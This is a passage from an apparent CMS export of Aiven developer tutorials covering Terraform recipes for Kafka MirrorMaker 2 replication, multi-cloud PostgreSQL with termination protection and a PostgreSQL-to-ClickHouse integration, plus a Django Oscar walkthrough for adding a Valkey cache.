{\n  project      = var.project_name\n  service_name = aiven_kafka.source.service_name\n  topic_name   = \"topic-a\"\n  partitions   = 3\n  replication  = 2\n}\n\nresource \"aiven_kafka\" \"target\" {\n  project                 = var.project_name\n  cloud_name              = \"google-europe-west1\"\n  plan                    = \"business-4\"\n  service_name            = \"target\"\n  maintenance_window_dow  = \"monday\"\n  maintenance_window_time = \"10:00:00\"\n\n  kafka_user_config {\n    kafka_version = \"3.4\"\n    kafka {\n      group_max_session_timeout_ms = 70000\n      log_retention_bytes          = 1000000000\n    }\n  }\n}\n\nresource \"aiven_kafka_topic\" \"target\" {\n  project      = var.project_name\n  service_name = aiven_kafka.target.service_name\n  topic_name   = \"topic-b\"\n  partitions   = 3\n  replication  = 2\n}\n```\n  \n## Execute the files\n\nThe ``init`` command performs several different initialization steps in order to prepare the current working directory for use with Terraform. In our case, this command automatically finds, downloads, and installs the necessary Aiven Terraform provider plugins.\n\n```shell\nterraform init\n```\n\nThe ``plan`` command creates an execution plan and shows you the resources that will be created (or modified) for you. This command does not actually create any resource; this is more like a preview.\n\n```bash\nterraform plan -var-file=var-values.tfvars\n```\n\nIf you're satisfied with the output of ``terraform plan``, go ahead and run the ``terraform apply`` command which actually does the task or creating (or modifying) your infrastructure resources. \n\n```bash\nterraform apply -var-file=var-values.tfvars\n```\n\nFor Apache Kafka MirrorMaker 2 and Apache Kafka service integration, ``ip_filter_string`` is a specific configuration that whitelists certain ranges of IP addresses. This example of ``0.0.0.0/0`` denotes that all IP addresses are allowed.\n\nIn the target Apache Kafka cluster you will find: \n  \n  * the topic named ``topic-b`` created via the resource ``\"aiven_kafka_topic\" \"target\"``\n  * some internal MirrorMaker 2 topics starting with prefix ``mm2``\n  * a heartbeat topic for the ``source`` Kafka cluster named ``source.heartbeats``\n  * the replicated topic ``topic-a`` prefixed with the source Kafka cluster alias ``source``\n\n## More resources\n\nKeep in mind that some parameters and configurations will vary for your case. A reference to some of the advanced Apache Kafka configurations and other related resources:\n\n- [Configuration options for Aiven for Apache Kafka](https://aiven.io/docs/products/kafka/reference/advanced-params.html)\n- [5 reasons why you should be using MirrorMaker 2.0 for data replication](https://aiven.io/blog/5-reasons-why-you-should-be-using-mirrormaker-2)\n- [Tutorial: Migrate an Apache Kafka® instance using Apache Kafka® MirrorMaker 2](https://aiven.io/developer/kafka-migration-mirrormaker2)\n- [Database migration with Apache Kafka® and Apache Kafka® Connect](https://aiven.io/developer/db-technology-migration-with-apache-kafka-and-kafka-connect)\n- [(Re)Create Apache Kafka® topics with Terraform](https://aiven.io/developer/terraform-for-repeatable-topics)\n- [Import your existing data platform using Terraform](https://aiven.io/developer/import-your-existing-data-platform-using-terraform)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-28T09:38:10.511Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"ffc7eee82afb","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-08-21T08:28:37.110Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-8e34a1ac341893fd1174924a231a083c8f01f76a-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/kafka-mirrormaker-crosscluster"},"subtitle":"Replicate data from one Apache Kafka® cluster to another using MirrorMaker 2. Useful when migrating Apache Kafka® services. A part of Aiven's Terraform Cookbook.","tags":[{"_key":"18e78999da44","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"be501531bb37","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"},{"_key":"5ac3dc41aec2","_ref":"d4e858d3-c34f-479f-b156-3ad83e807091","_type":"tag"}],"title":"Cross-cluster replication with Apache Kafka® MirrorMaker 2"}
{"__i18n_lang":"en","_createdAt":"2023-08-16T13:21:33Z","_id":"7f525a3a-c78e-4031-b8c6-458db8ca7430","_rev":"VeNKqGNmt13PzvGhqsSoHS","_type":"devArticle","_updatedAt":"2024-01-29T15:47:51Z","body":"There are many reasons why businesses need to distribute their databases geographically. One of the primary reason is data residency/regulation which mandates user data to stay within certain regions. \nThis example shows how to set up three highly-available PostgreSQL®  databases in three regions and across different cloud providers for data regulation and compliance. In addition, these databases must be configured in a way that they are protected against database deletion.\n[Aiven Terraform Provider](https://registry.terraform.io/providers/aiven/aiven/latest/docs) can help create multiple services programmatically. \n\nThe following image shows that the Aiven Terraform Provider calls the Aiven API under the hood to create three PostgreSQL services on AWS (Europe), DigitalOcean (US), and Google Cloud Platform(Asia):\n\n:::mermaid\n\ngraph TD\n  B[(Aiven for PostgreSQL - AWS EU)]\n  C[(Aiven for PostgreSQL - DigitalOcean NA)]\n  D[(Aiven for PostgreSQL - GCP Asia)]\n:::\n\n## Describe the setup\n\nBe sure to check out the [getting started guide](https://aiven.io/docs/tools/terraform/get-started) to learn about the common files required to execute the following recipe. For example, you'll need to declare the variables for ``project_name`` and ``api_token``.\n\n## Common files\n\nNavigate to a new folder and add the following files.\n\nAdd the following to a new ``provider.tf`` file:\n\n```toml\nterraform {\n  required_providers {\n    aiven = {\n      source  = \"aiven/aiven\"\n      version = \"\u003e=4.0.0, \u003c 5.0.0\"\n    }\n  }\n}\n\nprovider \"aiven\" {\n  api_token = var.aiven_api_token\n}\n```\n   \nYou can also set the environment variable ``TF_VAR_aiven_api_token`` for the ``api_token`` property. With this, you don't need to pass the ``-var-file`` flag when executing Terraform commands.\n \nTo avoid including sensitive information in source control, the variables are defined here in the ``variables.tf`` file. You can then use a ``*.tfvars`` file with the actual values so that Terraform receives the values during runtime, and exclude it.\n\nThe ``variables.tf`` file defines the API token, the project name to use, and the prefix for the service name:\n\n```toml\n\nvariable \"aiven_api_token\" {\n  description = \"Aiven console API token\"\n  type        = string\n}\n\nvariable \"project_name\" {\n  description = \"Aiven console project name\"\n  type        = string\n}\n```\n   \nThe ``var-values.tfvars`` file holds the actual values and is passed to Terraform using the ``-var-file=`` flag.\n\n``var-values.tfvars`` file:\n\n```toml\naiven_api_token     = \"\u003cYOUR-AIVEN-AUTHENTICATION-TOKEN-GOES-HERE\u003e\"\nproject_name        = \"\u003cYOUR-AIVEN-CONSOLE-PROJECT-NAME-GOES-HERE\u003e\"\n```\n\n## Services.tf file \n\nHere is the sample Terraform file to deploy all three services. Keep in mind that some parameters and configurations will vary for your case. A reference to some of the advanced PostgreSQL configurations is added at the end of this document.\n\n``services.tf`` file:\n\n```toml\n# European Postgres Service\nresource \"aiven_pg\" \"aws-eu-pg\" {\n  project                = var.project_name\n  cloud_name             = \"aws-eu-west-2\" # London\n  plan                   = \"business-8\"    # Primary + read-only replica\n  service_name           = \"postgres-eu-aws\"\n  termination_protection = true\n}\n\n# US Postgres Service\nresource \"aiven_pg\" \"do-us-pg\" {\n  project                = var.project_name\n  cloud_name             = \"do-nyc\"     # New York\n  plan                   = \"business-8\" # Primary + read-only replica\n  service_name           = \"postgres-us-do\"\n  termination_protection = true\n}\n\n# Asia Postgres Service\nresource \"aiven_pg\" \"gcp-as-pg\" {\n  project                = var.project_name\n  cloud_name             = \"google-asia-southeast1\" # Singapore\n  plan                   = \"business-8\"             # Primary + read-only replica\n  service_name           = \"postgres-as-gcp\"\n  termination_protection = true\n}\n```\n\n## Execute the files\n\nThe ``init`` command performs several different initialization steps in order to prepare the current working directory for use with Terraform. In our case, this command automatically finds, downloads, and installs the necessary Aiven Terraform provider plugins.\n    \n```shell\nterraform init\n```\n\nThe ``plan`` command creates an execution plan and shows you the resources that will be created (or modified) for you. This command does not actually create any resource; this is more like a preview.\n\n```bash\nterraform plan -var-file=var-values.tfvars\n```\n\nIf you're satisfied with the output of ``terraform plan``, go ahead and run the ``terraform apply`` command which actually does the task or creating (or modifying) your infrastructure resources. \n\n```bash\nterraform apply -var-file=var-values.tfvars\n```\n\nThis file creates three Aiven for PostgreSQL services across three cloud providers and in three different regions. The ``termination_protection = true`` property ensures that these databases are protected against accidental or unauthorized deletion.\n\nWith termination protection enabled, a ``terraform destroy`` command will result in a 403 response and an error message \"Service is protected against termination and shutdown. Remove termination protection first.\".\n\nTo destroy resources with termination protection, you need to update the script with ``termination_protection = false`` and then execute a ``terraform apply`` followed by a ``terraform destroy``.\n\n## More resources\n\nYou might find these related resources useful too:\n\n- [Configuration options for PostgreSQL](https://aiven.io/docs/products/postgresql/reference/list-of-advanced-params.html)\n- [Set up your first Aiven Terraform project](https://aiven.io/docs/tools/terraform/get-started.html)\n- [Benefits and challenges of multi-cloud](https://aiven.io/blog/getting-the-most-of-multi-cloud)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-23T13:21:21.061Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"f5b60be48708","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-08-16T07:44:06.381Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-cfa3341189f829000d75e1ab1801cfa98ba82d20-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/multicloud-postgresql-terraform"},"subtitle":"Deploy PostgreSQL® services to multiple clouds and regions using Terraform. A part of the Aiven Terraform Cookbook.","tags":[{"_key":"62aba4003d8b","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"58462039157d","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"}],"title":"Deploy PostgreSQL® services to multiple clouds and regions"}
{"__i18n_lang":"en","_createdAt":"2023-08-15T07:37:01Z","_id":"6ac74c78-7cea-422f-b06e-d465dd944a63","_rev":"zIsiQAjxKhucsEb2t0lVVt","_type":"devArticle","_updatedAt":"2024-10-23T08:43:27Z","body":"In a [previous article](https://aiven.io/developer/django-and-aiven-for-pg) we looked at using an Aiven for PostgreSQL® database as the backend for Django. But Aiven also provides other managed services, including Aiven for Valkey, a key-value store using the Redis serialization protocol. So in this article we are going to look at adding a Valkey cache to the previous example.\n\n## Summary of the previous article\n\n### The basics\n\nIf you just worked through [the previous article](https://aiven.io/developer/django-and-aiven-for-pg), then great, you're all ready to continue with this tutorial, and can skip the rest of this section.\n\nOtherwise, if you just want to work with this article, then you need to get Oscar setup. Here's a summary of the basics:\n\nYou will need `node` and `npm` (on my Mac I use `brew install npm` to install them). Then:\n\n```shell\n git clone --branch sandbox-requirements-update \\\n     https://github.com/TibsAtWork/django-oscar.git\n cd django-oscar\n python3 -m venv venv\n source venv/bin/activate\n make sandbox\n ```\n\nYou can test that by running the following command and going to `http://127.0.0.1:8000/` in a web browser to see the Oscar Sandbox store front.\n\n```shell\nsandbox/manage.py runserver\n```\n\n### Talking to Aiven for PostgreSQL®\n\nThis leaves you with Oscar storing its data in a local SQLite database. To change to using an Aiven for PostgreSQL® instance, follow the instructions at [Create a PostgreSQL® database](https://aiven.io/developer/django-and-aiven-for-pg#create-a-postgresql-database) and [Use PostgreSQL as the backend database](https://aiven.io/developer/django-and-aiven-for-pg#use-postgresql-as-the-backend-database), from the previous article.\n\nOf course, you can leave Oscar talking to the local SQLite database, although running a cache in the cloud for a local database is not something one would expect to do in real life.\n\n## Continue using the Oscar e-commerce example\n\n\n::alert[If you are carrying on from the previous example (so skipped to here) then let's just check everything is still set up correctly.]{title=\"Note\"}\n\nRemember to make sure you're in the `django-oscar` directory - if necessary, `cd` into it:\n```shell\ncd django-oscar\n```\nAlso make sure that the Python virtual environment is enabled. If not, do:\n```shell\nsource venv/bin/activate\n```\n\nCheck everything still works by running the sandbox application again with:\n```shell\nsandbox/manage.py runserver\n```\n\nMake sure that the bookshop appears at `http://127.0.0.1:8000/`.\n\nThen check if the `DATABASE_` environment variables are still set, to tell Oscar to use the remote PostgreSQL database:\n```\nprintenv | grep DATABASE_\n```\nwhich should show something like:\n```\nDATABASE_PORT=10143\nDATABASE_NAME=defaultdb\nDATABASE_PASSWORD=YOUR_DATABASE_PASSWORD_HERE\nDATABASE_USER=avnadmin\nDATABASE_HOST=tibs-django-pg-project-tibs.aivencloud.com\nDATABASE_ENGINE=django.db.backends.postgresql_psycopg2\n```\n(that's not a real password there, and your host name should be different as\nwell).\n\n::alert[If you're using Aiven for PostgreSQL, then all of those environment variables should match the values in the service's Overview page in the [Aiven Console](https://console.aiven.io/).]{title=\"Note\"}\n\n## Disable the Django Debug Toolbar\n\nThe [Oscar Sandbox\ndocumentation](https://django-oscar.readthedocs.io/en/stable/internals/sandbox.html#run-the-sandbox-locally)\nwarns that: \"The sandbox has Django Debug Toolbar enabled by default, which will affect its performance. You can disable it by setting `INTERNAL_IPS` to an empty list in your local settings.\"\n\nSince the point of using Aiven for Caching is to improve performance, we should do that.\n\nEdit `sandbox/settings.py` and search for `INTERNAL_IPS`. It's probably around line 364. Change the line:\n\n```python\nINTERNAL_IPS = ['127.0.0.1', '::1']\n```\n\nto\n```python\nINTERNAL_IPS = []\n```\n\n## Create an Aiven for Valkey service\n\nFirst we need to start a new Aiven for Valkey service using [the Aiven Console](https://aiven.io/signup).\n\n* I want the same cloud (Google Cloud) and location (google-europe-north1) as for the PostgreSQL service\n* Again, Service Plan \"Hobbyist\" should do for this demo\n* Following my previous naming convention, I named it \"tibs-django-valkey\"\n\nExport the Aiven for Valkey Service URI from the Aiven Console to the following environment variable:\n```shell\nexport VALKEY_SERVICE_URI='\u003cService URI\u003e'\n```\n\n## Install the Valkey CLI\n\nWe want to be able to \"talk\" to the Aiven for Valkey server, so let's install the Valkey\ncommand line tool, `valkey-cli`, as described at [connect with valkey-cli](https://aiven.io/docs/products/valkey/howto/connect-valkey-cli.html)\n\n\nFor instance, on on my Mac I can install Valkey locally:\n\n```shell\nbrew install valkey\n```\n\nThen run the command using the Aiven for Valkey's service's URL from the service overview page:\n```shell\nvalkey-cli -u $VALKEY_SERVICE_URI\n```\n\nThis will leave us at a prompt naming the HOST and PORT:\n```\nHOST:PORT\u003e\n```\nIn my case, it looked something like:\n```\ntibs-django-valkey-project-tibs.aivencloud.com:10144\u003e\n```\n\nWe can then ask what keys are in my Aiven for Valkey datastore:\n```\nINFO KEYSPACE\n```\nAt this stage, the keystore is empty:\n```\n# Keyspace\n```\n\nWe can quit `valkey-cli` using:\n```\nQUIT\n```\n\n::alert[It's useful to be able to run `valkey-cli` from a different terminal window, so you can watch how things change while interacting with the running Oscar web app. Don't forget to set `VALKEY_SERVICE_URI` in that second terminal as well!]{title=\"Tip\"}\n\n## About Oscar and Django versions\n\nOscar 3.2 uses [Django 4.2](https://docs.djangoproject.com/en/4.2/). \n\nOscar 3.2 is a Long Time Support (LTS) version, which will be supported until January 2026.\n\nHow can you tell which versions of Oscar and Django you've got? You can check the version of Django by typing:\n```shell\npip show django | grep Version\n```\nYou can do the same for the version of Oscar:\n```shell\npip show django-oscar | grep Version\n```\n\nThis documentation has been checked against Oscar 3.2.4.\n\n\n## The relevant Python libraries\n\nSetting up the environment for Oscar (in the `make sandbox` step) will already have installed the necessary Python libraries to allow the application to talk to Aiven for Valkey.\n\n::alert[Actually, Oscar sets things up for talking to Redis®*, but this will work as Valkey uses the same Redis serialization protocol. You can see the specification Oscar uses in `requirements.txt` - look for the string \"`redis`\" in the `Sandbox` section.]{title=\"Note\"}\n\nIf we were using plain Django, we'd need to install the Valkey Python library ourselves. It's OK to install the Python library for Valkey instead of that for Redis:\n\n```shell\npip install valkey[hiredis]\n```\n\nThe `[hiredis]` also installs the compiled response parser from the hiredis package, which primarily speeds up parsing of multi bulk replies, and is recommended by Django.\n\n## Tell Django we're going to be doing caching\n\nEdit the file `sandbox/settings.py`.\n\nFind the `MIDDLEWARE = [` definition, and add the following line to the start of the list:\n```python\n    'django.middleware.cache.UpdateCacheMiddleware',\n```\n\nThen add the following line to the end of the list:\n```python\n    'django.middleware.cache.FetchFromCacheMiddleware',\n```\n\nAfter that, it should look like:\n```python\nMIDDLEWARE = [\n    'django.middleware.cache.UpdateCacheMiddleware',\n    'debug_toolbar.middleware.DebugToolbarMiddleware',\n\n    'django.middleware.security.SecurityMiddleware',\n    'whitenoise.middleware.WhiteNoiseMiddleware',\n\n    'django.contrib.sessions.middleware.SessionMiddleware',\n    'django.middleware.csrf.CsrfViewMiddleware',\n    'django.middleware.clickjacking.XFrameOptionsMiddleware',\n    'django.contrib.auth.middleware.AuthenticationMiddleware',\n    'django.contrib.messages.middleware.MessageMiddleware',\n    'django.contrib.flatpages.middleware.FlatpageFallbackMiddleware',\n\n    # Allow languages to be selected\n    'django.middleware.locale.LocaleMiddleware',\n    'django.middleware.http.ConditionalGetMiddleware',\n    'django.middleware.common.CommonMiddleware',\n\n    # Ensure a valid basket is added to the request instance for every request\n    'oscar.apps.basket.middleware.BasketMiddleware',\n    'django.middleware.cache.FetchFromCacheMiddleware',\n]\n```\n\n::alert[The details of the listed middleware may be different in your setup, but the location of the new entries is the important part.]{title=\"Note\"}\n\nFor more on the ordering of the middleware, see [the documentation for per-site caching](https://docs.djangoproject.com/en/4.2/topics/cache/#the-per-site-cache).\n\n## Tell Django to use (this) Aiven for Valkey as its cache\n\nWe need to tell Django to actually use Aiven for Caching for caching, and where to find the Aiven for Caching service.\n\n\nDjango 4 comes with Redis serialization protocol based database support built in.\n\nStill in `sandbox/settings.py`, find the `CACHES = {` definition, and change it from:\n```python\nCACHES = {\n    'default': env.cache(default='locmemcache://'),\n}\n```\nto:\n```python\nCACHES = {\n    'default': {\n        'BACKEND': 'django.core.cache.backends.redis.RedisCache',\n        'LOCATION': os.environ.get('VALKEY_SERVICE_URI'),\n    },\n}\n```\nThis tells it to use Aiven for Valkey as a backend cache, and to find the instance of Aiven for Valkey at the URL specified by that environment variable (which we set earlier).\n\n### Use variables rather than constants\n\nAlthough the [Django cache framework](https://docs.djangoproject.com/en/4.2/topics/cache) documentation section on [Caching](https://docs.djangoproject.com/en/4.2/topics/cache/#redis) shows setting the `LOCATION` explicitly to a specific string, it's better practice not to embed such strings into (what might be) production code. In this instance, we know that the `VALKEY_SERVICE_URI` includes a password, as well as other connection details, so we don't want to commit those details to version control, or even expose them unnecessarily in our CI (continuous integrations). Using an environment variable allows us to add this information at run time instead, and use a secrets manager in the actual production environment.\n\n## Set the cache behavior\n\nStill in `sandbox/settings.py`, add the following settings after the `CACHES`\ndefinition (add them on lines after the final closing `}` of the `CACHES` definition -\nthese lines should not be indented):\n\n```python\nCACHE_MIDDLEWARE_ALIAS = 'default'\nCACHE_MIDDLEWARE_KEY_PREFIX = ''\nCACHE_MIDDLEWARE_SECONDS = 60 * 10\n```\n\n* [`CACHE_MIDDLEWARE_ALIAS`](https://docs.djangoproject.com/en/4.2/ref/settings/#cache-middleware-alias) is the cache connection to use for the cache middleware, `default` is the default\n* [`CACHE_MIDDLEWARE_SECONDS`](https://docs.djangoproject.com/en/4.2/ref/settings/#cache-middleware-seconds) is the the cache timeout, in seconds - how long before a cached page expires. The default is 600.\n* [`CACHE_MIDDLEWARE_KEY_PREFIX`](https://docs.djangoproject.com/en/4.2/ref/settings/#cache-middleware-key-prefix) is a string used to prefix all the cache keys. The default is an empty string.\n\nThis is actually setting the default behavior, but it seems sensible to be explicit about our choices, and the Django [per-site\ncache](https://docs.djangoproject.com/en/4.2/topics/cache/#the-per-site-cache) documentation recommends adding these settings.\n\n## Show it in action\n\nLet's restart the sandbox application:\n```shell\nsandbox/manage.py runserver\n```\n\nThen log out and back in, add another book or two to the basket, and open the basket.\n\nRun `valkey-cli` again:\n```\nvalkey-cli -u $VALKEY_SERVICE_URI\n```\n\nAsk it again about the keys it is storing:\n```\nINFO KEYSPACE\n```\n\nThis time we should see something like this in response:\n```\ndb0:keys=32,expires=32,avg_ttl=187151332590\n```\n\nIn this case, it's telling us that:\n\n* there are now 32 keys, so 32 cached items (the actual number will vary according to what you did)\n* all 32 of them have expiration times set\n\nThe last value, `avg_ttl`, isn't terribly useful in this case, as it indicates the average TTL for all of those keys, and some of them have very large values set, presumably to stop them expiring.\n\nGetting more detailed, type: \n\n```\nKEYS *\n```\nWe should then see a list similar to the following:\n```\n 1) \":1:CATEGORY_URL_en-gb_3\"\n 2) \":1:oscar-sandbox||image||ff719c9a5892bf5b4680eb86da85f5aa\"\n 3) \":1:CATEGORY_URL_en-gb_4\"\n 4) \":1:oscar-sandbox||image||20242e100a811986ece16c1fac3b2a57\"\n 5) \":1:views.decorators.cache.cache_header..8ac2d55b8eaa00e52c563c9a18db6736.en-gb.Europe/London\"\n 6) \":1:oscar-sandbox||image||f544ccac158defae9a7da221d5a79d61\"\n 7) \":1:views.decorators.cache.cache_header..357698008328fc178c9adfab49a0d197.en-gb.Europe/London\"\n 8) \":1:CATEGORY_URL_en-gb_7\"\n 9) \":1:CATEGORY_URL_en-gb_6\"\n10) \":1:oscar-sandbox||image||05221781d86552e0ab294b1ba2b4d977\"\n11) \":1:oscar-sandbox||image||0daf8fe2289a1bccdad5cad5a97abefa\"\n12) \":1:oscar-sandbox||image||eee159e62c22e44531117720e9d9e3e7\"\n13) \":1:oscar-sandbox||image||f53672bae89061349c4beb1d55721858\"\n14) \":1:views.decorators.cache.cache_page..GET.357698008328fc178c9adfab49a0d197.95da522d651f032384984b71dab9c668.en-gb.Europe/London\"\n15) \":1:oscar-sandbox||image||c08074a3afe5aba9e44b7b2a725266c8\"\n16) \":1:views.decorators.cache.cache_page..GET.8ac2d55b8eaa00e52c563c9a18db6736.7ff9cc28df2e7c550de2e09525c9bf06.en-gb.Europe/London\"\n17) \":1:oscar-sandbox||image||146cc1138e35c43b8f5a8dc41370dda9\"\n18) \":1:views.decorators.cache.cache_page..GET.8ac2d55b8eaa00e52c563c9a18db6736.ed66662513025556335a676d702540bc.en-gb.Europe/London\"\n```\n\nLet's choose one that sounds likely to represent a page view (a key with\n`view.decorators.cache.cache_page..GET` in its name).\n\nGetting the value for the key I chose:\n```\nGET \":1:views.decorators.cache.cache_page..GET.357698008328fc178c9adfab49a0d197.95da522d651f032384984b71dab9c668.en-gb.Europe/London\"\n```\nGives me back a \"Django template response\" with an HTML page embedded in it. The response starts with:\n```\n\"\\x80\\x05\\x95\\x98b\\x00\\x00\\x00\\x00\\x00\\x00\\x8c\\x18django.template.response\\x94\\x8c\\x10TemplateResponse\\x94\n```\nAnd ends with the following:\n```\n\u003ctitle\u003e\\n    Basket | Oscar - Sandbox\\n\u003c/title\u003e\n```\n\nWe can also ask for the TTL:\n```\nTTL \":1:views.decorators.cache.cache_page..GET.357698008328fc178c9adfab49a0d197.95da522d651f032384984b71dab9c668.en-gb.Europe/London\"\n```\nWhich returns something similar to the following: \n```\n(integer) 474\n```\n\nAnd if you repeat the TTL command for the same key, you will see the time decreasing.\n\nIn fact, if you wait long enough, all of the page view keys will disappear, as they time out, leaving only the image keys - here we can see the first four of those.\n\n```\n 1) \":1:oscar-sandbox||image||ff719c9a5892bf5b4680eb86da85f5aa\"\n 2) \":1:oscar-sandbox||image||20242e100a811986ece16c1fac3b2a57\"\n 3) \":1:oscar-sandbox||image||f544ccac158defae9a7da221d5a79d61\"\n 4) \":1:oscar-sandbox||image||05221781d86552e0ab294b1ba2b4d977\"\n```\n\n## Change the TTL\n\nStop the application and edit `sandbox/settings.py` to change the cache TTL to be 20 (twenty seconds):\n```\nCACHE_MIDDLEWARE_SETTINGS = 20\n```\nThen restart the application and refresh the current page (which in my case was still showing the basket). Use `redis-clis` to ask for the TTL of a content page again. For example:\n```\nTTL \":1:views.decorators.cache.cache_page..GET.357698008328fc178c9adfab49a0d197.95da522d651f032384984b71dab9c668.en-gb.Europe/London\"\n```\nThis time, the values returned should be lower - in my case, I saw 11 because\nI wasn't quick enough to see it at 20!\n```\n(integer) 11\n```\nIn other words, all of the page keys will expire within that shorter TTL.\n\n\n## What we've achieved\n\nIn the last post, I explored how to use an Aiven service (Aiven for\nPostgreSQL®) as a backend for a web platform I already knew,\n[Django](https://www.djangoproject.com/). To avoid the lengthy process of\nsetting up my own Django application, I decided to use an existing one, the\n[Oscar sandbox](https://django-oscar.readthedocs.io/en/stable/internals/sandbox.html).\n\nIn this post, I showed how to add an Aiven for Valkey cache to that web application. As before, this was not too hard to setup, and it's pleasing to be able to use Aiven services for both the database and the cache.\n\n## More things to look at\n\nThe [Oscar documentation](https://django-oscar.readthedocs.io/) has a lot more\ninformation about the project.\n\nDjango 4.2 is a Long Term Support (LTS) release, supported [until at least 2026](https://docs.djangoproject.com/en/4.2/releases/4.2/). For more information, check out:\n* the [Django 4.2 documentation](https://docs.djangoproject.com/en/4.2/).\n* the [Django 4.2 cache framework](https://docs.djangoproject.com/en/4.2/topics/cache) documentation and its sections on [Caching](https://docs.djangoproject.com/en/4.2/topics/cache/#redis) and the [per-site cache](https://docs.djangoproject.com/en/4.2/topics/cache/#the-per-site-cache).\n\nIf you're just wanting to see the current state of Django, then check out the latest version of the [Django documentation](https://docs.djangoproject.com/).\n\nAlso check out [Aiven for Valkey](https://aiven.io/valkey),\nand if you're not using Aiven services yet, go ahead and sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup).\n\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-22T07:34:19.666Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"36c32228c10f","_ref":"4fee17d2-f553-4f9f-8a5c-633a8b352c4c","_type":"tag"}],"publishedAt":"2023-08-15T07:34:00.863Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"Set up Django to use Aiven for Valkey™","asset":{"_ref":"image-4727e451bdce10ade383a5d8e1fe8da22683d061-1200x628-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/set-up-django-to-use-aiven-for-valkey"},"subtitle":"Django is a fully-featured high-level Python web framework. Read on to see how to get it to cache its data using Aiven for Valkey™.","tags":[{"_key":"4164685a9fd3","_ref":"21dab0f5-92ff-47e2-8b55-f60a736d22b9","_type":"tag"},{"_key":"d3dc41b2da46","_ref":"170e8cc3-b016-45ee-a9db-efec32d13a04","_type":"tag"},{"_key":"48c8a92ebd30","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"69e7068e3922","_ref":"a04702b4-48a1-492f-9600-6bd38971cc2c","_type":"tag"},{"_key":"97976ff929fd","_ref":"d066802f-72f8-49bf-93a7-3c4196a99892","_type":"tag"}],"title":"Set up Django to use Aiven for Valkey™"}
{"__i18n_lang":"en","_createdAt":"2023-08-23T13:18:47Z","_id":"338f7f6f-9163-41fe-8695-d949cf32cdda","_rev":"ZgPiUE9lJ1tcRKuFnaLct7","_type":"devArticle","_updatedAt":"2024-07-11T13:56:53Z","body":"You can use a PostgreSQL® database as a data source and [Aiven for ClickHouse®](https://aiven.io/clickhouse) to read, transform, and execute jobs using data from the PostgreSQL server. For this purpose, you need to integrate [Aiven for PostgreSQL®](https://aiven.io/postgresql) with Aiven for ClickHouse. Continue reading to learn how to connect these services using [Aiven Terraform Provider](https://registry.terraform.io/providers/aiven/aiven/latest/docs).\n\n\nImagine that you've been collecting IoT measurements from thousands of sensors and storing them in ClickHouse database ``iot_measurements``. Now, you'd like to enrich your metrics by adding the sensor's location to the measurements so that you can filter the metrics by city name. The sensor's location data is available in the ``sensors_dim`` database in PostgreSQL.\n\nThis recipe calls for the following:\n\n1. Set up an Aiven for ClickHouse database. [Sign up for an Aiven account](https://console.aiven.io/signup) to do so.\n2. Insert your measurements data into the Aiven for ClickHouse database.\n3. Combine your measurements data in the Aiven for ClickHouse database with the related PostgreSQL dimension database.\n\n:::mermaid\n\n   flowchart LR\n      subgraph Aiven for PostgreSQL\n      id1[(sensors_dim database)]\n      end\n      subgraph Aiven for ClickHouse\n      id2[(iot_measurements database)]\n      id3[(service_postgres-gcp-us_sensor_dims_public database)]\n      end\n      id1 ==\u003e |Service integration| id3\n:::\n\n## Common files\n\nNavigate to a new folder and add the following files:\n\n``provider.tf`` file\n\n```toml\nterraform {\n   required_providers {\n      aiven = {\n         source  = \"aiven/aiven\"\n         version = \"\u003e=4.0.0, \u003c 5.0.0\"\n      }\n   }\n}\n\nprovider \"aiven\" {\napi_token = var.aiven_api_token\n}\n```\n\nYou can set environment variable ``TF_VAR_aiven_api_token`` for the ``api_token`` property so that you don't need to pass the ``-var-file`` flag when executing Terraform commands.\n\n``variables.tf`` file\n\nUse it for defining the variables to avoid including sensitive information in source control. The ``variables.tf`` file defines the API token, the project name, and the prefix for the service name.\n\n```toml\nvariable \"aiven_api_token\" {\n   description = \"Aiven console API token\"\n   type        = string\n}\n\nvariable \"project_name\" {\n   description = \"Aiven console project name\"\n   type        = string\n}\n```\n\n``*.tfvars`` file\n\nUse it to indicate the actual values of the variables so that they can be passed (with the ``-var-file=`` flag) to Terraform during runtime and excluded later on. Configure the ``var-values.tfvars`` file as follows:\n\n```toml\naiven_api_token     = \"\u003cYOUR-AIVEN-AUTHENTICATION-TOKEN-GOES-HERE\u003e\"\nproject_name        = \"\u003cYOUR-AIVEN-CONSOLE-PROJECT-NAME-GOES-HERE\u003e\"\n```\n\n## Services.tf file\n\nThe following Terraform script initializes both Aiven for PostgreSQL and Aiven for ClickHouse services, creates the service integration, the source PostgreSQL database, and the Aiven for ClickHouse database.\n\n```toml\n// Postgres service based in GCP US East\nresource \"aiven_pg\" \"postgres\" {\n   project                 = var.project_name\n   service_name            = \"postgres-gcp-us\"\n   cloud_name              = \"google-us-east4\"\n   plan                    = \"business-8\" // Primary + read-only replica\n   maintenance_window_dow  = \"monday\"\n   maintenance_window_time = \"10:00:00\"\n}\n\n// Postgres sensor dimensions database\nresource \"aiven_pg_database\" \"sensor_dims\" {\n   project       = var.project_name\n   